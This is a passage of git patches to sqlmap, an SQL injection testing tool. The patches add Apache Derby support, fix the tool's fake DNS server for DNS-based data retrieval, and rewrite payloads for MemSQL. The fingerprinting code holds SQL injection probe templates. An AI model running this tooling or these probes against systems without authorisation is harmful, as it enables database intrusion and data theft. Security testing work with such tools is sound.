a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -10,13 +10,13 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): - warnMsg = "on DB2 it is not possible to enumerate password hashes" + warnMsg = "on IBM DB2 it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} def getStatements(self): - warnMsg = "on DB2 it is not possible to enumerate the SQL statements" + warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements" logger.warn(warnMsg) return [] diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py new file mode 100644 index 000000000..56a2776b4 --- /dev/null +++ b/plugins/dbms/derby/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import DERBY_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.derby.enumeration import Enumeration +from plugins.dbms.derby.filesystem import Filesystem +from plugins.dbms.derby.fingerprint import Fingerprint +from plugins.dbms.derby.syntax import Syntax +from plugins.dbms.derby.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Apache Derby methods + """ + + def __init__(self): + self.excludeDbsList = DERBY_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.DERBY] = Syntax.escape diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py new file mode 100644 index 000000000..3cfbff1ff --- /dev/null +++ b/plugins/dbms/derby/connector.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import drda +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/nakagami/pydrda/ + User guide: https://github.com/nakagami/pydrda/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port) + except drda.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except drda.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (drda.OperationalError, drda.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except drda.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + self.connector.commit() + except drda.OperationalError: + pass + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py new file mode 100644 index 000000000..4a64c197c --- /dev/null +++ b/plugins/dbms/derby/enumeration.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import singleTimeWarnMessage +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MonetDB it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Apache Derby it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getBanner(self): + warnMsg = "on Apache Derby it is not possible to enumerate the banner" + singleTimeWarnMessage(warnMsg) diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/derby/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py new file mode 100644 index 000000000..ae9fe9422 --- /dev/null +++ b/plugins/dbms/derby/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import DERBY_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.DERBY) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.DERBY + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES): + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})") + + if result: + infoMsg = "confirming %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warn(warnMsg) + + return False + + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py new file mode 100644 index 000000000..dc6c66174 --- /dev/null +++ b/plugins/dbms/derby/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py new file mode 100644 index 000000000..432fa6f78 --- /dev/null +++ b/plugins/dbms/derby/takeover.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.__basedir = None + self.__datadir = None + + GenericTakeover.__init__(self) diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py index 9d2d2ffe7..c798ce012 100644 --- a/plugins/dbms/monetdb/enumeration.py +++ b/plugins/dbms/monetdb/enumeration.py @@ -32,3 +32,7 @@ class Enumeration(GenericEnumeration): logger.warn(warnMsg) return {} + + def getHostname(self): + warnMsg = "on MonetDB it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index 5b1cefd5b..07eaa609c 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -86,19 +86,6 @@ class Fingerprint(GenericFingerprint): self.getBanner() - if not conf.extensiveFp: - return True - - infoMsg = "actively fingerprinting %s" % DBMS.MONETDB - logger.info(infoMsg) - - for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): - output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) - - if output: - Backend.setVersion(version) - break - return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py index 28701778f..42e969858 100644 --- a/plugins/dbms/monetdb/syntax.py +++ b/plugins/dbms/monetdb/syntax.py @@ -5,10 +5,6 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import re - -from lib.core.common import isDBMSVersionAtLeast -from lib.core.common import randomStr from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index d2387d1a8..1ad769275 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -97,7 +97,7 @@ class Databases(object): warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.DERBY): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -221,7 +221,7 @@ class Databases(object): if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.DERBY): conf.db = conf.db.upper() if conf.db: @@ -308,7 +308,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -390,7 +390,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -450,7 +450,7 @@ class Databases(object): raise SqlmapNoneDataException(errMsg) elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): conf.db = conf.db.upper() if ',' in conf.db: @@ -461,7 +461,7 @@ class Databases(object): conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): conf.col = conf.col.upper() colList = conf.col.split(',') @@ -477,7 +477,7 @@ class Databases(object): colList = [_ for _ in colList if _] if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -585,7 +585,7 @@ class Databases(object): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -661,7 +661,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) @@ -727,7 +727,7 @@ class Databases(object): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -801,7 +801,7 @@ class Databases(object): elif Backend.isDbms(DBMS.MONETDB): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None @@ -825,7 +825,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) @@ -842,7 +842,7 @@ class Databases(object): if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 7c978a3ba..ad0ae9003 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -70,7 +70,7 @@ class Entries(object): conf.db = self.getCurrentDb() elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): conf.db = conf.db.upper() if ',' in conf.db: @@ -86,7 +86,7 @@ class Entries(object): conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -176,7 +176,7 @@ class Entries(object): entries = [] query = None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) @@ -285,7 +285,7 @@ class Entries(object): infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl @@ -407,7 +407,7 @@ class Entries(object): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) diff --git a/plugins/generic/search.py b/plugins/generic/search.py index c2a680afa..8da8c6786 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -63,7 +63,7 @@ class Search(object): values = [] db = safeSQLIdentificatorNaming(db) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): db = db.upper() infoMsg = "searching database" @@ -170,7 +170,7 @@ class Search(object): values = [] tbl = safeSQLIdentificatorNaming(tbl, True) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): tbl = tbl.upper() conf.db = conf.db.upper() if conf.db else conf.db @@ -393,7 +393,7 @@ class Search(object): conf.db = origDb conf.tbl = origTbl - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): column = column.upper() conf.db = conf.db.upper() if conf.db else conf.db conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl diff --git a/sqlmap.py b/sqlmap.py index 8269e665e..afa894791 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -351,6 +351,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("drda", "to_bytes")): + errMsg = "wrong initialization of drda detected (using Python3 syntax)" + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("window = tkinter.Tk()",)): errMsg = "there has been a problem in initialization of GUI interface " errMsg += "('%s')" % excMsg.strip().split('\n')[-1] From 9f854120179359485f2d6b11cfd94eb8c02bd0cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Jan 2020 16:11:12 +0100 Subject: [PATCH 089/159] Fixes #4080 --- lib/core/settings.py | 2 +- lib/request/dns.py | 38 +++++++++++++++++++++----------------- 2 files changed, 22 insertions(+), 18 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b4c572ad8..cb6214364 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.29" +VERSION = "1.4.1.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 7f6c914d1..352de63d2 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -11,6 +11,7 @@ import binascii import os import re import socket +import struct import threading import time @@ -22,41 +23,44 @@ class DNSQuery(object): Reference(s): http://code.activestate.com/recipes/491264-mini-fake-dns-server/ https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + + >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." + True """ def __init__(self, raw): self._raw = raw - self._query = "" + self._query = b"" - type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 - j = ord(raw[i]) + j = ord(raw[i:i + 1]) while j != 0: - self._query += raw[i + 1:i + j + 1] + '.' + self._query += raw[i + 1:i + j + 1] + b'.' i = i + j + 1 - j = ord(raw[i]) + j = ord(raw[i:i + 1]) def response(self, resolution): """ Crafts raw DNS resolution response packet """ - retVal = "" + retVal = b"" if self._query: - retVal += self._raw[:2] # Transaction ID - retVal += "\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query - retVal += "\xc0\x0c" # Pointer to domain name - retVal += "\x00\x01" # Type A - retVal += "\x00\x01" # Class IN - retVal += "\x00\x00\x00\x20" # TTL (32 seconds) - retVal += "\x00\x04" # Data length - retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal @@ -148,7 +152,7 @@ if __name__ == "__main__": if _ is None: break else: - print("[i] %s" % _) + print("[i] %s" % _.decode()) time.sleep(1) From b25181f0616f622897ffaff8c95458d301442c55 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Jan 2020 23:11:37 +0100 Subject: [PATCH 090/159] Adding support for MemSQL (MySQL fork) --- data/xml/errors.xml | 6 +++++- lib/core/agent.py | 8 ++++++++ lib/core/enums.py | 4 ++++ lib/core/option.py | 1 + lib/core/settings.py | 4 ++-- lib/parse/html.py | 1 + plugins/dbms/mysql/fingerprint.py | 10 +++++++++- 7 files changed, 30 insertions(+), 4 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index f32b82734..ae17201d7 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -7,7 +7,7 @@ - + @@ -15,6 +15,10 @@ + + + + diff --git a/lib/core/agent.py b/lib/core/agent.py index 98a0abb2e..0b66e728d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -13,6 +13,7 @@ from lib.core.common import filterNone from lib.core.common import getSQLSnippet from lib.core.common import getTechnique from lib.core.common import getTechniqueData +from lib.core.common import hashDBRetrieve from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isNumber from lib.core.common import isTechniqueAvailable @@ -34,6 +35,8 @@ from lib.core.data import queries from lib.core.dicts import DUMP_DATA_PREPROCESS from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.enums import PLACE @@ -381,6 +384,11 @@ class Agent(object): for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) + if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == FORK.MEMSQL: + payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload) + payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload) + payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) + return payload def getComment(self, request): diff --git a/lib/core/enums.py b/lib/core/enums.py index b429cd895..6ed406fb9 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -65,6 +65,10 @@ class DBMS_DIRECTORY_NAME(object): MONETDB = "monetdb" DERBY = "derby" +class FORK(object): + MARIADB = "MariaDB" + MEMSQL = "MemSQL" + class CUSTOM_LOGGING(object): PAYLOAD = 9 TRAFFIC_OUT = 8 diff --git a/lib/core/option.py b/lib/core/option.py index 3400e1612..fbc2981a1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1919,6 +1919,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.forcePartialUnion = False kb.forceThreads = None kb.forceWhere = None + kb.forkNote = None kb.futileUnion = None kb.heavilyDynamic = False kb.headersFile = None diff --git a/lib/core/settings.py b/lib/core/settings.py index cb6214364..e4d2fe0d8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.30" +VERSION = "1.4.1.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -262,7 +262,7 @@ MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") -MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria") +MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") diff --git a/lib/parse/html.py b/lib/parse/html.py index 9357ab39f..68fe55621 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -52,6 +52,7 @@ class HTMLHandler(ContentHandler): if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I): self.dbms = self._dbms self._markAsErrorPage() + kb.forkNote = kb.forkNote or attrs.get("fork") def htmlParser(page): """ diff --git a/plugins/dbms/mysql/fingerprint.py 